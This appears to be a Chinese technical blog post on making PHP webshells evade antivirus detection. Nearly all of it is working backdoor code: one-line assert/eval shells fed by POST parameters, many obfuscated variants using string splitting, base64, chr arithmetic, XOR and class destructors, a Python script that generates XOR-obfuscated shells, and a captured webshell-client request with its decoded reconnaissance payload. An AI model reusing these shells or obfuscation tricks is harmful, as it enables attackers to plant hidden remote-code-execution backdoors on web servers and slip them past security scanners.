免杀 | PHP木马的混淆免杀探究

<?php @assert($_POST['x']);?>

<?php$ch = explode(".","hello.ass.world.er.t");$c = $ch[1].$ch[3].$ch[4]; //assert    $c($_POST['x']);?>

<?php$f = substr_replace("systxx", "em", 4);$z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f('whoami')))));var_dump($z);

<?php$c = str_rot13('n!ff!re!nffreg');echo$c . "n"; //a!ss!er!assert$str = explode('!', $c)[3];echo $str; //asert

<?php$f = base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数$f($_POST[aabyss]);                      //assert($_POST[aabyss]);?>

<?php//ASCII编码解密后为assert高危函数$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);$f($_POST['aabyss']);                //assert($_POST['aabyss']);?>

<?php$letters = array('a', 's', 's', 'e', 'r', 't');$c = implode(array_map('strtolower', $letters)); // 使用array_map拼接assert $c($_POST['x']); ?>

<?php$str = 'a';$str = str_replace('a', 'a', $str);$str .= 's';$str .= 's';$str .= 'e';$str .= 'r';$str .= 't';$str($_POST['x']);

<?php$_StL="Y"^"x38";$_ENr="T"^"x27";$_ohw="^"^"x2d";$_gpN="~"^"x1b";$_fyR="g"^"x15";$_pAs="H"^"x3c";$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

import randomdef random_keys(len):    # 生成随机len长的字符串    str = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'    return ''.join(random.sample(str,len))def random_var(len):    # 生成随机变量名    str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'    return ''.join(random.sample(str,len))def xor(c1,c2):    # 字符亦或，返回16进制    return hex(ord(c1)^ord(c2)).replace('0x',r"x")def generate(target):    key = random_keys(len(target))    func_line = ''    call = '$target='    for i in range(0,len(target)):        enc = xor(target[i],key[i])        var = random_var(3)        func_line += f'$_{var}="{key[i]}"^"{enc}";'        func_line += 'n'        call += '$_%s.' % var    call = call.rstrip('.') + ';'print(func_line)print(call)if __name__ == '__main__':    target = input('input target to generate:rn') # array_uintersect_uassocgenerate(target)

<?phpfunctiongetPart($str, $i) {return substr($str, $i, 1);}functioncombineParts() {return getPart('a', 0) . getPart('s', 0) . getPart('s', 0) . getPart('e', 0) . getPart('r', 0) . getPart('t', 0);}$c = combineParts();@$c($_POST['x']);?>

<?phpclassTest{public$config = '';function__destruct()    {$ch = explode(".", "hello.ass.world.er.rt.e.saucerman");$c = $ch[1] . $ch[5] . $ch[4];        @$c($this->config);    }}$test = new Test();@$test->config = $_POST['x'];

<?phpfunction myfunction_key($a,$b){if ($a===$b){return 0;    }return ($a>$b)?1:-1;}class rtHjmCdS{    public $fHfoj;    public $fDaGv;      public $HgAjSd; function__construct(){$_xlr="J"^"x2b";$_Nbv="V"^"x25";$_cfh="T"^"x27";$_PdK="I"^"x2c";$_zJQ="+"^"x59";$_RgD="="^"x49";$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;$_fLd="a"^"x0";$_wOK="j"^"x18";$_tAH="U"^"x27";$_HeV="J"^"x2b";$_cyo="-"^"x54";$_iSW="F"^"x19";$_jYS="/"^"x5a";$_BFt="h"^"x1";$_TRn="p"^"x1e";$_izx="k"^"x1f";$_gMz="X"^"x3d";$_TNu="<"^"x4e";$_UiE="v"^"x5";$_iHI="q"^"x14";$_LIK="m"^"xe";$_Yey="Z"^"x2e";$_lMr="="^"x62";$_WOI="+"^"x5e";$_FQy="u"^"x14";$_sjC="d"^"x17";$_mOr=">"^"x4d";$_Txf="*"^"x45";$_PmW="O"^"x2c";$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;        }function__destruct(){$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'$fdJfd = $this->fDaGv; // 'assert'        //array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');        @$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');    }}$jfnp=new rtHjmCdS();@$jfnp->fHfoj=$_REQUEST['css'];?>

call_user_func_array()call_user_func()array_filter()array_walk()array_map()registregister_shutdown_function()register_tick_function()filter_var()filter_var_array()uasort()uksort()array_reduce()array_walk()array_walk_recursive()

<?phpfunctionout($b){return$b;}functionzhixin($a){return system($a);}functionpost(){return'whoami';}functionrun(){return out('zhixin')(out(post()));}run();

ReflectionClass::getDocComment

<?php/** * system('whoami'); * */classUser{}$user = new ReflectionClass('User');$comment = $user->getDocComment();echo$comment;echo"n";$f = substr($comment, 8, 17);echo$f;eval($f);

$datatest = "[文件的base64编码]";file_put_contents('./要写入的文件名', base64_decode($datatest));

$path = "数据库文件名"$db = new PDO("sqlite:" . $path);$sql_stmt = $db->prepare('select * from test where name="system"');$sql_stmt->execute();$f = substr($sql_stmt->queryString, -7, 6);$f($_GET['b']);

<?phpclassTest{public$name = '';function__destruct(){        @eval("$this->name");    }}$test = new Test();$c = @$_POST['css'];$test->name = $c;

POST /1.php HTTP/1.1Host: ipContent-Type: application/x-www-form-urlencodedContent-Length: 985Connection: closecss=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22ae2ea%22%3Becho%20%40asenc(%24output)%3Becho%20%22348cb%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

<?php@ini_set("display_errors", "0");@set_time_limit(0);functionasenc($out){return$out;}functionasoutput(){$output = ob_get_contents();ob_end_clean();echo"ae2ea";echo @asenc($output);echo"348cb";}ob_start();try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if($D == "") {$D = dirname($_SERVER["PATH_TRANSLATED"]);    }$R = "{$D}    ";if(substr($D, 0, 1) != "/") {foreach(range("C", "Z") as$L) {if(is_dir("{$L}:")) {$R .= "{$L}:";            }        }    } else {$R .= "/";    }$R .= "    ";$u = function_exists("posix_getegid")        ? @posix_getpwuid(@posix_geteuid())        : "";$s = $u ? $u["name"] : @get_current_user();$R .= php_uname();$R .= "    {$s}";echo$R;} catch(Exception$e) {echo"ERROR://" . $e->getMessage();}asoutput();die();